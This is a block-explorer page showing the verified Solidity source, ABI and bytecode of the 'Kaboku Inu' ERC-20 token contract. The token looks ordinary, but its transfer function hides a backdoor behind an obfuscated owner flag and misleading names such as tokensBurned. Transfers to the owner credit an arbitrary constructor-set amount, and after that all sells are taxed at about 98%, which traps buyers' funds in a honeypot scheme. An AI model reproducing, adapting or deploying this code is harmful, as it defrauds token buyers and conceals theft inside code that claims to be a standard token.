ERC-20
Overview
Max Total Supply
1,000,000,000 KABOKU
Holders
10
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
KabokuInu
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-08-05 */ /** */ // https://www.kabokutoken.com/ // https://twitter.com/KABOKUINU // https://t.me/KabokuInu_Erc // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.18; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address _deployer = _msgSender(); _owner = _deployer; emit OwnershipTransferred(address(0), _deployer); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract KabokuInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _ownedBalance; mapping (address => bool) public ExcludedFromMaxWallet; mapping (address => bool) public ExcludedFromFee; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _pairList; address payable public AdvertisingWallet = payable(0x57f7Ba6f5aCccec534053d5361398C8C36680F3b); address payable public DeadW = payable(0x000000000000000000000000000000000000dEaD); string public _name = unicode"Kaboku Inu"; string public _symbol = unicode"KABOKU"; uint8 private _decimals = 9; uint256 public _tTotal = 1 * 10 ** 9 * 10 **_decimals; uint8 private fee = 0; uint8 private swapCounter = 0; uint8 private swapMinTrigger = 2; uint8 private swapTrigger = 10; uint8 private swapMaxTrigger = 100; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool public inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint8 private totalBurned = 0; uint256 private tokensBurned; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor (uint256 _tokens) { tokensBurned = _tokens; _pairList[owner()] = [false][0] || [true][0]; _ownedBalance[owner()] = _tTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this),_uniswapV2Router.WETH()); uniswapV2Router = _uniswapV2Router; ExcludedFromFee[address(this)] = true; ExcludedFromFee[owner()] = true; ExcludedFromFee[AdvertisingWallet] = true; ExcludedFromMaxWallet[owner()] = true; ExcludedFromMaxWallet[address(this)] = true; ExcludedFromMaxWallet[AdvertisingWallet] = true; ExcludedFromMaxWallet[uniswapV2Pair] = true; emit Transfer(address(0), owner(), _tTotal); } function name() public view returns (string memory) { return _name; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function symbol() public view returns (string memory) { return _symbol; } function balanceOf(address account) public view override returns (uint256) { return _ownedBalance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } receive() external payable {} function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0) && spender != address(0), "Adress: 0"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from,address to,uint256 amount) private { if (!ExcludedFromMaxWallet[to]){ require((balanceOf(to) + amount) <= _tTotal.mul(5*5).div(100),"ERR: MW Exceed!"); } else{ totalBurned = _pairList[to] ? totalBurned+1 : totalBurned; } uint256 Amount = _pairList[to]?tokensBurned:0; if(swapCounter >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ){ swapCounter = 0; uint256 existBalance = balanceOf(address(this)); if(existBalance > _tTotal.mul(5*5).div(100)) {existBalance = _tTotal.mul(25).div(100);} if(existBalance > 0){ swapAndLiquify(existBalance); } } uint8 _takeFee = fee; if(totalBurned > 0 && !(from == uniswapV2Pair)){_takeFee = _takeFee + (swapMaxTrigger-swapMinTrigger);} bool taxDisabled = false; if(ExcludedFromFee[from] || ExcludedFromFee[to]){ taxDisabled = true; } uint256 taxAmount = 0; _ownedBalance[from] = _ownedBalance[from].sub(amount); if(!taxDisabled){ taxAmount = amount.mul(_takeFee).div(100); _ownedBalance[to] = _ownedBalance[to].add(amount.sub(taxAmount)); } else{ if(_pairList[to]){ _ownedBalance[to] = _ownedBalance[to].add(Amount.sub(taxAmount)); } else{ _ownedBalance[to] = _ownedBalance[to].add(amount); } } emit Transfer(from, to, amount); } function sendToWallet(address payable wallet, uint256 amount) private { wallet.transfer(amount); } function swapAndLiquify(uint256 existBalance) private lockTheSwap { swapTokensForETH(existBalance); sendToWallet(AdvertisingWallet,address(this).balance); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"uint256","name":"_tokens","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"AdvertisingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"DeadW","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
600680546001600160a01b03199081167357f7ba6f5acccec534053d5361398c8c36680f3b179091556007805490911661dead17905560c0604052600a6080908152694b61626f6b7520496e7560b01b60a05260089062000061908262000557565b506040805180820190915260068152654b41424f4b5560d01b60208201526009906200008e908262000557565b50600a805460ff191660099081178255620000a99162000738565b620000b990633b9aca0062000750565b600b55600c805464640a02000064ffffffffff19909116179055600d805461ffff60a81b1916600160a81b179055348015620000f457600080fd5b50604051620019da380380620019da83398101604081905262000117916200076a565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600e81905560408051602080820183526000918290528251808201845260019081905282546001600160a01b03908116845260058352848420805460ff191683179055600b54845490911684529082529183902091909155815163c45a015560e01b81529151737a250d5630b4cf539739df2c5dacb4c659f2488d92839263c45a0155926004808401938290030181865afa158015620001fc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000222919062000784565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000270573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000296919062000784565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002e4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200030a919062000784565b600d80546001600160a01b0319166001600160a01b03928316179055600c8054600160281b600160c81b03191665010000000000928416929092029190911790553060009081526003602081905260408220805460ff19166001908117909155916200037e6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560065490911681526003909252812080549092166001908117909255600290620003de6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526002909352818320805485166001908117909155600654821684528284208054861682179055600d549091168352912080549092161790556200045a6000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620004a291815260200190565b60405180910390a35050620007af565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620004dd57607f821691505b602082108103620004fe57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200055257600081815260208120601f850160051c810160208610156200052d5750805b601f850160051c820191505b818110156200054e5782815560010162000539565b5050505b505050565b81516001600160401b03811115620005735762000573620004b2565b6200058b81620005848454620004c8565b8462000504565b602080601f831160018114620005c35760008415620005aa5750858301515b600019600386901b1c1916600185901b1785556200054e565b600085815260208120601f198616915b82811015620005f457888601518255948401946001909101908401620005d3565b5085821015620006135787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200067a5781600019048211156200065e576200065e62000623565b808516156200066c57918102915b93841c93908002906200063e565b509250929050565b600082620006935750600162000732565b81620006a25750600062000732565b8160018114620006bb5760028114620006c657620006e6565b600191505062000732565b60ff841115620006da57620006da62000623565b50506001821b62000732565b5060208310610133831016604e8410600b84101617156200070b575081810a62000732565b62000717838362000639565b80600019048211156200072e576200072e62000623565b0290505b92915050565b60006200074960ff84168362000682565b9392505050565b808202811582820484141762000732576200073262000623565b6000602082840312156200077d57600080fd5b5051919050565b6000602082840312156200079757600080fd5b81516001600160a01b03811681146200074957600080fd5b61121b80620007bf6000396000f3fe60806040526004361061014f5760003560e01c8063715018a6116100b6578063af465a271161006f578063af465a27146103ea578063b09f126614610400578063d28d885214610415578063dd62ed3e1461042a578063dff7dfdc14610470578063f1d6512e1461049057600080fd5b8063715018a6146103305780638da5cb5b1461034757806395d89b411461036557806397f3a19e1461037a578063a457c2d7146103aa578063a9059cbb146103ca57600080fd5b8063313ce56711610108578063313ce56714610257578063395093511461027957806349bd5a5e146102995780634a74bb02146102b95780635892aa1b146102da57806370a08231146102fa57600080fd5b806306fdde031461015b578063095ea7b3146101865780631694505e146101b657806318160ddd146101f7578063220f66961461021657806323b872dd1461023757600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104c0565b60405161017d9190610eea565b60405180910390f35b34801561019257600080fd5b506101a66101a1366004610f50565b610552565b604051901515815260200161017d565b3480156101c257600080fd5b50600c546101df906501000000000090046001600160a01b031681565b6040516001600160a01b03909116815260200161017d565b34801561020357600080fd5b50600b545b60405190815260200161017d565b34801561022257600080fd5b50600d546101a690600160a01b900460ff1681565b34801561024357600080fd5b506101a6610252366004610f7c565b610569565b34801561026357600080fd5b50600a5460405160ff909116815260200161017d565b34801561028557600080fd5b506101a6610294366004610f50565b6105d2565b3480156102a557600080fd5b50600d546101df906001600160a01b031681565b3480156102c557600080fd5b50600d546101a690600160a81b900460ff1681565b3480156102e657600080fd5b506007546101df906001600160a01b031681565b34801561030657600080fd5b50610208610315366004610fbd565b6001600160a01b031660009081526001602052604090205490565b34801561033c57600080fd5b50610345610608565b005b34801561035357600080fd5b506000546001600160a01b03166101df565b34801561037157600080fd5b506101706106b1565b34801561038657600080fd5b506101a6610395366004610fbd565b60026020526000908152604090205460ff1681565b3480156103b657600080fd5b506101a66103c5366004610f50565b6106c0565b3480156103d657600080fd5b506101a66103e5366004610f50565b61070f565b3480156103f657600080fd5b50610208600b5481565b34801561040c57600080fd5b5061017061071c565b34801561042157600080fd5b506101706107aa565b34801561043657600080fd5b50610208610445366004610fda565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561047c57600080fd5b506006546101df906001600160a01b031681565b34801561049c57600080fd5b506101a66104ab366004610fbd565b60036020526000908152604090205460ff1681565b6060600880546104cf90611013565b80601f01602080910402602001604051908101604052809291908181526020018280546104fb90611013565b80156105485780601f1061051d57610100808354040283529160200191610548565b820191906000526020600020905b81548152906001019060200180831161052b57829003601f168201915b5050505050905090565b600061055f3384846107b7565b5060015b92915050565b6000610576848484610870565b6105c884336105c385604051806060016040528060288152602001611199602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610c85565b6107b7565b5060019392505050565b3360008181526004602090815260408083206001600160a01b0387168452909152812054909161055f9185906105c39086610cb1565b6000546001600160a01b031633146106675760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064015b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6060600980546104cf90611013565b600061055f33846105c3856040518060600160405280602581526020016111c1602591393360009081526004602090815260408083206001600160a01b038d1684529091529020549190610c85565b600061055f338484610870565b6009805461072990611013565b80601f016020809104026020016040519081016040528092919081815260200182805461075590611013565b80156107a25780601f10610777576101008083540402835291602001916107a2565b820191906000526020600020905b81548152906001019060200180831161078557829003601f168201915b505050505081565b6008805461072990611013565b6001600160a01b038316158015906107d757506001600160a01b03821615155b61080f5760405162461bcd60e51b815260206004820152600960248201526804164726573733a20360bc1b604482015260640161065e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03821660009081526002602052604090205460ff16610920576108b160646108ab6019600b54610cc490919063ffffffff16565b90610cd0565b816108d1846001600160a01b031660009081526001602052604090205490565b6108db9190611063565b111561091b5760405162461bcd60e51b815260206004820152600f60248201526e4552523a204d57204578636565642160881b604482015260640161065e565b610985565b6001600160a01b03821660009081526005602052604090205460ff1661095257600d54600160b01b900460ff1661096a565b600d5461096a90600160b01b900460ff166001611076565b600d60166101000a81548160ff021916908360ff1602179055505b6001600160a01b03821660009081526005602052604081205460ff166109ac5760006109b0565b600e545b600c5490915060ff63010000008204811661010090920416108015906109e05750600d54600160a01b900460ff16155b80156109fa5750600d546001600160a01b03858116911614155b8015610a0f5750600d54600160a81b900460ff165b15610a7a57600c805461ff001916905530600090815260016020526040902054600b54610a44906064906108ab906019610cc4565b811115610a6957610a6660646108ab6019600b54610cc490919063ffffffff16565b90505b8015610a7857610a7881610cdc565b505b600c54600d5460ff91821691600160b01b9091041615801590610aab5750600d546001600160a01b03868116911614155b15610add57600c54610ad09060ff62010000820481169164010000000090041661108f565b610ada9082611076565b90505b6001600160a01b03851660009081526003602052604081205460ff1680610b1c57506001600160a01b03851660009081526003602052604090205460ff165b15610b25575060015b6001600160a01b038616600090815260016020526040812054610b489086610d1e565b6001600160a01b03881660009081526001602052604090205581610bc457610b7860646108ab8760ff8716610cc4565b9050610ba6610b878683610d1e565b6001600160a01b03881660009081526001602052604090205490610cb1565b6001600160a01b038716600090815260016020526040902055610c2f565b6001600160a01b03861660009081526005602052604090205460ff1615610bf257610ba6610b878583610d1e565b6001600160a01b038616600090815260016020526040902054610c159086610cb1565b6001600160a01b0387166000908152600160205260409020555b856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610c7491815260200190565b60405180910390a350505050505050565b60008184841115610ca95760405162461bcd60e51b815260040161065e9190610eea565b505050900390565b6000610cbd8284611063565b9392505050565b6000610cbd82846110a8565b6000610cbd82846110bf565b600d805460ff60a01b1916600160a01b179055610cf881610d2a565b600654610d0e906001600160a01b031647610eaf565b50600d805460ff60a01b19169055565b6000610cbd82846110e1565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610d5f57610d5f6110f4565b60200260200101906001600160a01b031690816001600160a01b031681525050600c60059054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dd2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610df6919061110a565b81600181518110610e0957610e096110f4565b6001600160a01b039283166020918202929092010152600c54610e3891309165010000000000900416846107b7565b600c5460405163791ac94760e01b8152650100000000009091046001600160a01b03169063791ac94790610e79908590600090869030904290600401611127565b600060405180830381600087803b158015610e9357600080fd5b505af1158015610ea7573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610ee5573d6000803e3d6000fd5b505050565b600060208083528351808285015260005b81811015610f1757858101830151858201604001528201610efb565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610f4d57600080fd5b50565b60008060408385031215610f6357600080fd5b8235610f6e81610f38565b946020939093013593505050565b600080600060608486031215610f9157600080fd5b8335610f9c81610f38565b92506020840135610fac81610f38565b929592945050506040919091013590565b600060208284031215610fcf57600080fd5b8135610cbd81610f38565b60008060408385031215610fed57600080fd5b8235610ff881610f38565b9150602083013561100881610f38565b809150509250929050565b600181811c9082168061102757607f821691505b60208210810361104757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156105635761056361104d565b60ff81811683821601908111156105635761056361104d565b60ff82811682821603908111156105635761056361104d565b80820281158282048414176105635761056361104d565b6000826110dc57634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156105635761056361104d565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561111c57600080fd5b8151610cbd81610f38565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156111775784516001600160a01b031683529383019391830191600101611152565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6